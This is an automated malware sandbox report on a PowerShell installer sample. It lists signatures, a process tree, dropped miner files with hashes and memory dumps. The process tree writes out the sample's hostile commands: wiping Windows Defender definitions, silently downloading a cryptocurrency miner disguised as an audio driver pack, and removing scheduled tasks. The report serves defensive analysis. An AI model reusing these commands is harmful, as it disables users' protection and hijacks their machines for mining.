Analysis

  • max time kernel
    148s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 09:53

General

  • Target
    inst.ps1
  • Size 19KB
  • Sample261113-lwr8rss19p
  • SHA256 956abc4928ffc89762df44df4bb253ab2e832956710ac5918c581c18493bd464
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 11 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\inst.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4188
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /end /f /tn WindowsAudioServiceUpdate
      2⤵
        PID:4672
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /f /tn WindowsAudioServiceUpdate
        2⤵
          PID:5788
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /end /f /tn WindowsAudioFix
          2⤵
            PID:5400
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /delete /f /tn WindowsAudioFix
            2⤵
              PID:2476
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /end /f /tn AudioFix
              2⤵
                PID:796
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /delete /f /tn AudioFix
                2⤵
                  PID:1960
                • C:\Program Files\Windows Defender\MpCmdRun.exe
                  "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                  2⤵
                  • Deletes Windows Defender Definitions
                  PID:5164
                • C:\Windows\system32\curl.exe
                  "C:\Windows\system32\curl.exe" -s -L -m 180 -A Mozilla/5.0 -o C:\ProgramData\WindowsAudioDeviceGPU\drivers_pack.zip https://github.com/doktor83/SRBMiner-Multi/releases/download/3.8.7/SRBMiner-Multi-3-8-7-win64.zip
                  2⤵
                    PID:4688
                  • C:\Program Files\Windows Defender\MpCmdRun.exe
                    "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate
                    2⤵
                      PID:5684
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:3520
                    • C:\Windows\system32\wscript.exe
                      wscript.exe `"$MiningFolder\hide.vbs`"
                      1⤵
                      • Process spawned unexpected child process
                      PID:1528

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Enable-Huge-Pages-Windows.txt

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\Help\Enable-Huge-Pages-Windows.txt
                          • Size 879B
                          • SHA256 8b715d72e8578a055453b4e541d7898e7c91dd9df08d01a2bb4ac63d9d28d678
                          • MD5 SHA1 SHA512 TLSH

                          ReadMe.txt

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\ReadMe.txt
                          • Size 8KB
                          • SHA256 ba20eb0c0f5fd17f998e245e075a051ee7e5df734dab8adf6b079d4893e0a47f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          SRBMiner-MULTI.exe

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\SRBMiner-MULTI.exe
                          • Size 27.7MB
                          • SHA256 dde3740fd6ee9e7fd3832edd98c9fb838df2344ef05b5ecbcd87997dfb5d3348
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          WinRing0x64.sys

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\WinRing0x64.sys
                          • Size 14KB
                          • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          guided-setup.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\guided-setup.bat
                          • Size 59B
                          • SHA256 cedb250d2b0e9196cacafdae81594decdb15aff2f94bfbcdd754e171930fde40
                          • MD5 SHA1 SHA512 TLSH

                          help.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\help.bat
                          • Size 58B
                          • SHA256 e4b3bd7817ec698a4309f677ab8d70710abd113be79ab76f5d717b3cbcb08f71
                          • MD5 SHA1 SHA512 TLSH

                          list-algorithms.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\list-algorithms.bat
                          • Size 69B
                          • SHA256 f7b6ec3153a976d27ab067921093b1ff08c08b5389c3c04c13ebbe659ac731dd
                          • MD5 SHA1 SHA512 TLSH

                          list-gpu-devices.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\list-gpu-devices.bat
                          • Size 66B
                          • SHA256 2db32494dd305bbda0fd83d54b2045e8e6060e9127832dbd949d3ce4a1b26ff4
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-adventurecoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-adventurecoin.bat
                          • Size 139B
                          • SHA256 8a1da84ca46be6c3e4211348ae91f88c8d9906f0aac6ca4f859b4e98ce884ea3
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-c64.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-c64.bat
                          • Size 258B
                          • SHA256 40e8618b2b97b66b9bfef8feb02072d3648deb81e5daf6921ef80c9a62a72d0e
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-corecoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-corecoin.bat
                          • Size 269B
                          • SHA256 d55c6bc210231712a16484f640a317f6c4a176c56b132e528d436aa13e275fa3
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-csd.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-csd.bat
                          • Size 136B
                          • SHA256 5aefea76ee3c66f856e4ba378e44d1a6648c7a2675604fafa747d827393acfe0
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-decred.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-decred.bat
                          • Size 320B
                          • SHA256 31780761442d458c5c54b7c92d4b65b77182258aeafecf7e030ffa0a184c855b
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-dragonx.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-dragonx.bat
                          • Size 129B
                          • SHA256 16030d12df4149be66430741ad2da56627bfdd8bfc474b4203c183071aacec66
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-epiccash-and-ergo.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-ergo.bat
                          • Size 416B
                          • SHA256 dc7530d80b56c081ed526b226816fd40ba4f82a73e03a471bebb560a07ef169a
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-epiccash-and-monero.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-monero.bat
                          • Size 235B
                          • SHA256 9a1b828723311af2e7a507e9828cfc9a3341d218a579ef55576306255359f20d
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-epiccash-and-xelis.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-xelis.bat
                          • Size 243B
                          • SHA256 45d0c418f74be10f6af973a28bfd627151a643661fa9dfd67e44b3989155e994
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-equitypay.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-equitypay.bat
                          • Size 148B
                          • SHA256 e2d3488efc311ac06e614986bb554bff25a0343fb800414545e08b4d89432073
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-ergo-and-decred.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo-and-decred.bat
                          • Size 407B
                          • SHA256 f3a975b3776b3b14072d61e558fe12be65238e6908abbae9c4381e983dcb61b3
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-ergo-and-qubit.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo-and-qubit.bat
                          • Size 379B
                          • SHA256 b07fa76b3b73011bf6ccbaaed4f4e3934916999f041b1b2cde8d8d3ce470353e
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-ergo.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo.bat
                          • Size 311B
                          • SHA256 ec975ef99d012cc0ea9970faca2dadb6b3a6bd9b9dc751bec4a6a2bf4b2a004e
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-etc-and-decred.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-etc-and-decred.bat
                          • Size 400B
                          • SHA256 950765579e537c64fabd4dc589dc9c90f12b9ac36b4b53d6d63987f0cb680d38
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-etc.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-etc.bat
                          • Size 300B
                          • SHA256 b07d8afa78fdddcbaa3512459ba59b28def0969b14f25f10d6c83e144ae5c62d
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-evrmore.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-evrmore.bat
                          • Size 310B
                          • SHA256 7412d526c62ff4c84569b2279345d3a189f7c5b5fd61a2fc06468f57f5317d6b
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-interchained.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-interchained.bat
                          • Size 145B
                          • SHA256 61b545c17bd70284e0796befe670e090958e0012bbd0ce4ec8fb567590c8209a
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-ironfish-and-decred.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish-and-decred.bat
                          • Size 615B
                          • SHA256 87231abfdb44eba6907699d2f588f35be8a9e220efb8d6e4d34efb6794077069
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-ironfish-and-qubit.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish-and-qubit.bat
                          • Size 382B
                          • SHA256 f67730f99df81c36a774108bac38cae941a256ad2e3e36fb076abdd15347e58c
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-ironfish.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish.bat
                          • Size 312B
                          • SHA256 f7311374966482a5492eaef24e375ce875a5b9a62adb87b3361d81a500f7068a
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-kiiro.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-kiiro.bat
                          • Size 302B
                          • SHA256 e02a2cb2a59519682cf62bcd218a45bd14fdc41d07a90e6fa25b2185796eae58
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-kyla.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-kyla.bat
                          • Size 129B
                          • SHA256 189d81698d9bca33ff9809724555f71c1d5b9d1069cd7cac110d4867e798414d
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-litecoincash.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-litecoincash.bat
                          • Size 152B
                          • SHA256 bfe59892220d607df989303af6ec7ec5db36c2db22ae31eb0b02b0cfd41de038
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-meowcoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-meowcoin.bat
                          • Size 322B
                          • SHA256 8375606357bf8b690903d19b6955b7be4cd822592486dfdafd69e3957449e3a7
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-microbitcoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-microbitcoin.bat
                          • Size 135B
                          • SHA256 0529ab34fa648bb3da06af7977a31a2e0927603dc944006d9ebc4c91bb3448fd
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-minersworldcoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-minersworldcoin.bat
                          • Size 129B
                          • SHA256 22b0e2feb825c17391355ab67312a048664b52d1e70bc95cb880f19fb07af249
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-monero.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-monero.bat
                          • Size 137B
                          • SHA256 fc5d536b8ec665886ad24df1222ff48dabda7731ca1068be956c7e799a704a4e
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-oggpow.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-oggpow.bat
                          • Size 294B
                          • SHA256 e951986351b610fa2e9d3e3a36e36130c9b2f16d4180fc464f9da623fb03547b
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-parallax-and-decred.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax-and-decred.bat
                          • Size 228B
                          • SHA256 2c5ea7d664b74468c528f9f72dd931926e6b2bdd27dbed98f00fbb086d39de67
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-parallax-and-qubit.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax-and-qubit.bat
                          • Size 200B
                          • SHA256 22414c8ae2f1ed25390492a371ceaab296beb132edcb70b0c7ec863c6b9f29ec
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-parallax.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax.bat
                          • Size 130B
                          • SHA256 d812857fed82de6c3b9b7499c183de65463b27f6f9885b24bbfb532828e06f7b
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-parano1d.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parano1d.bat
                          • Size 128B
                          • SHA256 79f685b8074022e0a077f55fdf19976eda824567213af410abdf1291ca9227c3
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-pcoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-pcoin.bat
                          • Size 122B
                          • SHA256 a64819f88c12fba1adaf12886eb4aab1f64d2c9b6e55ce3dfb12a00a5ab9ce98
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-pearl.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-pearl.bat
                          • Size 212B
                          • SHA256 854575c7b0778898c7344b044c8aa6005cf030ff5225588f26bfc93663b724ea
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-phicoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-phicoin.bat
                          • Size 131B
                          • SHA256 8418555089e98327fcea0f192edf91ec1ca786512f2a528ef8800ef9ac6232b6
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-quai.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-quai.bat
                          • Size 313B
                          • SHA256 b7d7b010964fbabf9758c0a6a7f38f409e96a8f7e336eddb6f2eb8481d9e48f3
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-quantus.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-quantus.bat
                          • Size 135B
                          • SHA256 1c6243289c5869b1acc54888db68a0a748d912cfe25d25082a86a9886af23a64
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-qubit.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-qubit.bat
                          • Size 292B
                          • SHA256 01523098e7fe92539707deee689eff46f88cf8d263ed0f63658797f638530637
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-raven.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-raven.bat
                          • Size 306B
                          • SHA256 23f56d3607fe4deac72eabe417b4f3797a791944cb3474ef80339daa02815a92
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-scash.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-scash.bat
                          • Size 137B
                          • SHA256 38c61072122441c9996741778a269a6beb73f4cd8c3cc0d874676ebaa0688ac1
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-vertcoin.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-vertcoin.bat
                          • Size 306B
                          • SHA256 290baaa87cb0d1defc520049cd4eb3b9d8755b4ec78f70b26a94d7820e93b6e5
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-verus.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-verus.bat
                          • Size 143B
                          • SHA256 9135a3f44d11f9ac39cf3fb71e9aaa6f41b6202077b41803c7b876f279d35b02
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-xelis.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-xelis.bat
                          • Size 321B
                          • SHA256 faa42060bf8356712bda3589a209e53902081c8abe5eb07c44bc8d38ca14729e
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-xna.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-xna.bat
                          • Size 304B
                          • SHA256 735fa474212b035cae0731204e0b07de51794f25ab4d81d90a5025adfb2c4922
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-yespowertide.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-yespowertide.bat
                          • Size 129B
                          • SHA256 a4445e8b8c5649344ce191259ef685888cf2028ffed655676b6ec344ddea70fb
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-zano.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-zano.bat
                          • Size 302B
                          • SHA256 d9a27e06b0d71be39f2eab9eb5e6bebfa823352fe0b5428c17576537ffc2c9cd
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-zerqavon.bat

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-zerqavon.bat
                          • Size 132B
                          • SHA256 67a8652211df908faa48a8f140a094fd119f7bc64ae2c65bda06bc0999f5ed2c
                          • MD5 SHA1 SHA512 TLSH

                          drivers_pack.zip

                          • Path C:\ProgramData\WindowsAudioDeviceGPU\drivers_pack.zip
                          • Size 27.5MB
                          • SHA256 cbfc6fa4daf22641e0f845922f8fbccff7ff1dc144af7316061bca06b76cfb1f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          MpCmdRun.log

                          • Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
                          • Size 2KB
                          • SHA256 cc12a89b6d9971cddce268bb4cdb9e64b5d01897d54bd60774048227f9b92693
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_nnfnksgh.my2.psm1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnfnksgh.my2.psm1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          start-mining-junocash.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\wa_update_tmp\SRBMiner-Multi-3-8-7\start-mining-junocash.bat
                          • Size 261B
                          • SHA256 6fb432f83fe4b4aac3fb778b95716dfb27c6d96aa458d84a98d68dcba5b2735f
                          • MD5 SHA1 SHA512 TLSH

                          memory/4188-27-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-15-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-28-0x00000257E4ED0000-0x00000257E4EDA000-memory.dmp

                          memory/4188-57-0x00000257E4F30000-0x00000257E4F42000-memory.dmp

                          memory/4188-31-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-32-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-30-0x00000257E4F10000-0x00000257E4F34000-memory.dmp

                          memory/4188-26-0x00000257E5130000-0x00000257E51E2000-memory.dmp

                          memory/4188-35-0x00000257E4F00000-0x00000257E4F1E000-memory.dmp

                          memory/4188-36-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-40-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-46-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-49-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-0-0x00007FFBBC24F000-0x00007FFBBC250000-memory.dmp

                          memory/4188-25-0x00000257E4EB0000-0x00000257E4ECE000-memory.dmp

                          memory/4188-54-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-19-0x00000257E5660000-0x00000257E5B88000-memory.dmp

                          memory/4188-18-0x00000257E4F60000-0x00000257E5122000-memory.dmp

                          memory/4188-16-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-29-0x00000257E4F10000-0x00000257E4F3A000-memory.dmp

                          memory/4188-11-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-10-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-9-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-8-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-7-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-6-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-5-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-4-0x00000257E49E0000-0x00000257E4A02000-memory.dmp

                          memory/4188-3-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp

                          memory/4188-56-0x00000257E4F00000-0x00000257E4F0A000-memory.dmp

                          memory/4188-400-0x00000257E4EB0000-0x00000257E4EBE000-memory.dmp

                          memory/4188-401-0x00000257E4F10000-0x00000257E4F2A000-memory.dmp

                          memory/4188-415-0x00000257E51F0000-0x00000257E51FA000-memory.dmp

                          memory/4188-416-0x00000257E5220000-0x00000257E523C000-memory.dmp

                          memory/4188-417-0x00000257E5200000-0x00000257E5208000-memory.dmp

                          memory/4188-418-0x00000257E5210000-0x00000257E5216000-memory.dmp

                          memory/4188-419-0x00000257E5640000-0x00000257E564A000-memory.dmp

                          memory/4188-434-0x00007FFBBC0C0000-0x00007FFBBCA64000-memory.dmp